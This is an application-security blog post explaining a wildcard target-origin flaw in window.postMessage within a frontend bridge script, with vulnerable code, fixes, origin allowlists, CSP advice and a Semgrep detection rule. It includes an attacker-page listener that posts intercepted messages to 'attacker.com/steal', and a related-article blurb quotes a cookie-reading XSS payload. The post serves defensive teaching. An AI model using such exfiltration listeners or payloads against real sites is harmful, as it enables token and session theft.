Back to Blog
medium SEVERITY6 min read

Wildcard postMessage Origins: When Your Bridge Becomes a Security Gap

A medium-severity vulnerability was discovered in `frontend/resources/js/bridge.js` where `window.postMessage()` was configured with a wildcard (`"*"`) as the target origin, potentially allowing any malicious website to intercept sensitive messages. This misconfiguration opens the door to information disclosure attacks by removing all origin-based restrictions on who can receive cross-frame communications. The fix restricts message delivery to only trusted, explicitly defined origins — closing a

O
By Orbis AppSec
Published May 28, 2026Reviewed June 3, 2026

Answer Summary

This vulnerability is a wildcard postMessage misconfiguration (CWE-346) in JavaScript browser code, specifically in `frontend/resources/js/bridge.js`. Using `"*"` as the target origin in `window.postMessage()` removes all origin-based restrictions, allowing any malicious website in a cross-frame context to intercept sensitive messages. The fix replaces the wildcard with an explicitly defined trusted origin, so the browser only delivers messages to the intended frame or window. This is a medium-severity issue that can lead to information disclosure in applications that pass tokens, user data, or application state via postMessage.

Vulnerability at a Glance

cweCWE-346 (Origin Validation Error)
fixReplace `"*"` with an explicitly defined, trusted target origin string
riskSensitive cross-frame messages intercepted by any malicious origin
languageJavaScript (Browser)
root cause`window.postMessage()` called with `"*"` instead of a specific trusted origin
vulnerabilityWildcard postMessage Target Origin

Wildcard postMessage Origins: When Your Bridge Becomes a Security Gap

Introduction

Modern web applications frequently need to communicate across different browsing contexts — between iframes, pop-up windows, and embedded widgets. The window.postMessage() API is the standard, built-in mechanism JavaScript provides for this kind of cross-origin communication. Used correctly, it's a powerful and safe tool. Used carelessly, it becomes an open broadcast channel that any malicious website can tune into.

This post breaks down a medium-severity vulnerability found in a frontend bridge script where postMessage was configured with a wildcard target origin ("*"). We'll explore what that means, how an attacker could exploit it, and what the correct fix looks like — along with best practices to keep your cross-origin messaging locked down.


The Vulnerability Explained

What Is window.postMessage()?

The postMessage API allows scripts in one window to send messages to scripts in another window, even across different origins (domains, protocols, or ports). Its signature looks like this:

targetWindow.postMessage(message, targetOrigin);

The second argument, targetOrigin, is a security control. It tells the browser: "Only deliver this message if the receiving window's origin matches this value." If the origins don't match, the message is silently dropped — protecting sensitive data from being delivered to the wrong party.

The Problem: Using "*" as the Target Origin

In the vulnerable code, the call looked something like this:

// ❌ VULNERABLE: Wildcard origin — any window can receive this message
window.parent.postMessage({ token: userAuthToken, userData: sensitiveInfo }, "*");

By passing "*" as the targetOrigin, the developer essentially told the browser: "Deliver this message to anyone, regardless of where they're hosted." The origin check is completely bypassed.

This is equivalent to shouting your bank account number in a crowded room instead of whispering it directly to your accountant.

How Could It Be Exploited?

The attack scenario is straightforward and realistic:

  1. Attacker crafts a malicious page that embeds your legitimate application in an iframe (or tricks a user into navigating to a page that does).
  2. Your application sends a postMessage containing sensitive data — authentication tokens, user profile information, session identifiers, or application state.
  3. The malicious page listens for messages using a message event listener:
// Attacker's malicious page
window.addEventListener("message", function(event) {
    // No origin check needed — the wildcard already delivered the goods
    console.log("Intercepted data:", event.data);
    fetch("https://attacker.com/steal", {
        method: "POST",
        body: JSON.stringify(event.data)
    });
});
  1. Because the target origin is "*", the browser delivers the message without complaint, and the attacker exfiltrates whatever was in it.

What's the Real-World Impact?

Depending on what data your bridge script transmits, the consequences can range from annoying to catastrophic:

Data Exposed Potential Impact
Authentication tokens Account takeover
Session identifiers Session hijacking
User PII Privacy violation, regulatory fines
Internal API endpoints Reconnaissance for further attacks
Feature flags / config Business logic abuse

This vulnerability is classified under CWE-201: Insertion of Sensitive Information Into Sent Data and is directly referenced in the OWASP HTML5 Security Cheat Sheet as a common postMessage misconfiguration.


The Fix

Restricting the Target Origin

The fix is conceptually simple: replace the wildcard "*" with the explicit origin of the intended recipient window.

// ✅ FIXED: Explicit target origin — only the trusted domain receives this message
const TRUSTED_ORIGIN = "https://your-trusted-domain.com";
window.parent.postMessage({ token: userAuthToken, userData: sensitiveInfo }, TRUSTED_ORIGIN);

Now the browser will only deliver the message if the receiving window's actual origin matches https://your-trusted-domain.com. If an attacker embeds your app and tries to intercept the message, the browser silently drops it.

Always Validate on the Receiving End Too

Fixing the sender is only half the battle. Any message event listener should also validate the event.origin of incoming messages:

// ✅ SECURE: Always validate the sender's origin when receiving messages
window.addEventListener("message", function(event) {
    // Reject messages from untrusted origins
    if (event.origin !== "https://your-trusted-domain.com") {
        console.warn("Rejected message from untrusted origin:", event.origin);
        return;
    }

    // Safe to process the message
    handleBridgeMessage(event.data);
});

This defense-in-depth approach means that even if a wildcard slips through on the sending side, your receiver won't process unexpected messages.

Handling Dynamic Origins Safely

Sometimes the trusted origin isn't known at build time. In those cases, use a whitelist approach:

// ✅ SECURE: Whitelist of allowed origins
const ALLOWED_ORIGINS = new Set([
    "https://app.yourdomain.com",
    "https://embed.yourdomain.com",
    "https://partner.trusteddomain.com"
]);

window.addEventListener("message", function(event) {
    if (!ALLOWED_ORIGINS.has(event.origin)) {
        return; // Silently reject
    }
    handleBridgeMessage(event.data);
});

⚠️ Never use string .includes() or loose pattern matching for origin checks. An attacker could register https://evil-yourdomain.com and pass a naive substring check.


Prevention & Best Practices

1. Never Use "*" When Sending Sensitive Data

The MDN documentation itself states: "Always provide a specific targetOrigin, not *, if you know where the other window's document should be located. Failing to provide a specific target discloses the data you send to any interested malicious site."

Reserve "*" only for truly public, non-sensitive broadcast messages where the content could be safely read by anyone.

2. Validate Origins on Both Sides

Implement origin validation on both the sender (target origin parameter) and the receiver (event.origin check). This defense-in-depth approach is more resilient to configuration mistakes.

3. Keep Message Payloads Minimal

Apply the principle of least privilege to your message data. Don't send entire user objects when only a user ID is needed. Don't include tokens unless the receiving context absolutely requires them.

// ❌ Over-sharing
postMessage({ user: entireUserObject, token: authToken, config: appConfig }, "*");

// ✅ Minimal payload
postMessage({ userId: user.id, action: "refresh" }, TRUSTED_ORIGIN);

4. Use Content Security Policy (CSP)

A well-configured Content-Security-Policy header with frame-ancestors directive can prevent your application from being embedded in untrusted pages in the first place, reducing the attack surface for postMessage interception.

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

5. Static Analysis & Linting

Automate detection of this vulnerability in your CI/CD pipeline:

  • ESLint with security plugins (e.g., eslint-plugin-security) can flag wildcard postMessage usage
  • Semgrep has rules specifically for this pattern (javascript.browser.security.wildcard-postmessage-configuration)
  • SAST tools like the one that caught this vulnerability can scan your codebase continuously

Add a lint rule or custom Semgrep pattern to your pipeline:

# Example Semgrep rule to catch wildcard postMessage
rules:
  - id: wildcard-postmessage
    pattern: $X.postMessage($DATA, "*")
    message: "postMessage with wildcard origin detected. Specify a trusted target origin."
    severity: WARNING
    languages: [javascript, typescript]

6. Security Standards & References


Conclusion

The window.postMessage() wildcard vulnerability is a classic example of a small configuration choice with outsized security consequences. A single "*" in place of a specific origin string transforms a controlled communication channel into an open broadcast — one that any attacker-controlled page can silently intercept.

The good news: the fix is straightforward, the concept is easy to internalize, and automated tooling can catch this pattern before it ever reaches production. The key takeaways are:

  • Always specify an explicit target origin in postMessage() calls when transmitting sensitive data
  • Always validate event.origin in your message event listeners
  • Apply the principle of least privilege to message payloads — send only what's needed
  • Automate detection with SAST tools and linting rules in your CI/CD pipeline

Security in the browser is often about the details. A wildcard that seems convenient during development can become a liability in production. Treat cross-origin message boundaries with the same rigor you'd apply to any API endpoint — because to an attacker, they're just another attack surface waiting to be explored.


Stay secure, and always know who's listening on the other end of your message bridge.

Frequently Asked Questions

What is a wildcard postMessage misconfiguration?

It occurs when `window.postMessage()` is called with `"*"` as the target origin, meaning the browser will deliver the message to any window regardless of its origin, removing the security boundary postMessage is designed to enforce.

How do you prevent wildcard postMessage misconfiguration in JavaScript?

Always specify an explicit target origin (e.g., `"https://trusted.example.com"`) instead of `"*"` when calling `window.postMessage()`, and validate the `event.origin` property in your `message` event listener.

What CWE is wildcard postMessage misconfiguration?

It maps to CWE-346: Origin Validation Error, which covers failures to properly verify the origin of a communication channel.

Is using HTTPS enough to prevent wildcard postMessage interception?

No. HTTPS encrypts data in transit but does not restrict which origins can receive a postMessage. You must explicitly specify the target origin in the `postMessage()` call itself.

Can static analysis detect wildcard postMessage misconfiguration?

Yes. Static analysis tools like Semgrep can detect calls to `window.postMessage()` where the second argument is the string `"*"`, making this a highly automatable finding.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #281

Related Articles

high

How Quadratic CPU Consumption Vulnerabilities Happen in JavaScript YAML Parsers and How to Fix Them

A high-severity denial-of-service vulnerability in js-yaml versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through specially crafted YAML documents using the !!omap tag. This fix upgrades js-yaml from 4.1.1 to 4.3.1 and from 3.14.2 to 3.15.1, eliminating the algorithmic complexity attack vector that could freeze Node.js applications processing untrusted YAML input.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/build.js` where `execSync` was called with string-interpolated arguments (`sourceDir` and `outputPath`) inside a shell command. By replacing `execSync` with `spawnSync` using an argument array (no shell), the fix eliminates the possibility of shell metacharacter injection while preserving identical build behavior.

high

How Command Injection happens in Node.js child_process and how to fix it

A command injection vulnerability in nix.js's Release class allowed potentially malicious input through the `arch` parameter to be executed via shell commands. The fix replaced `execSync()` with `execFileSync()`, eliminating shell interpretation and preventing command injection by passing arguments as an array instead of a concatenated string.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A critical Cross-Site Scripting (XSS) vulnerability was discovered in `js/main.js` where commit messages fetched from the GitHub API were directly interpolated into `innerHTML` without any sanitization. An attacker with repository write access could push a commit with a malicious message like `<img src=x onerror=alert(document.cookie)>`, causing arbitrary JavaScript execution in every visitor's browser. The fix applies HTML entity encoding to all five dangerous characters before rendering.

high

How Quadratic CPU Consumption in YAML Parsing happens in JavaScript and how to fix it

A high-severity vulnerability in js-yaml versions 3.x and 4.x allowed attackers to cause quadratic CPU consumption through specially crafted YAML documents using the `!!omap` type. This denial-of-service vulnerability (GHSA-5p4m-2wfm-xmqj) was fixed by upgrading from js-yaml 4.3.0 to 4.3.1, protecting applications from algorithmic complexity attacks during YAML parsing.

high

How Arbitrary HTTP Header Injection via Prototype Pollution happens in JavaScript and how to fix it

A high-severity vulnerability (CVE-2026-42035) in axios version 1.13.5 allowed attackers to inject arbitrary HTTP headers through prototype pollution. The fix upgrades axios to version 1.18.0 in the frontend's dependency tree, which includes proper prototype chain validation when constructing HTTP request headers. This prevents attackers from manipulating outgoing requests to perform SSRF, session hijacking, or cache poisoning attacks.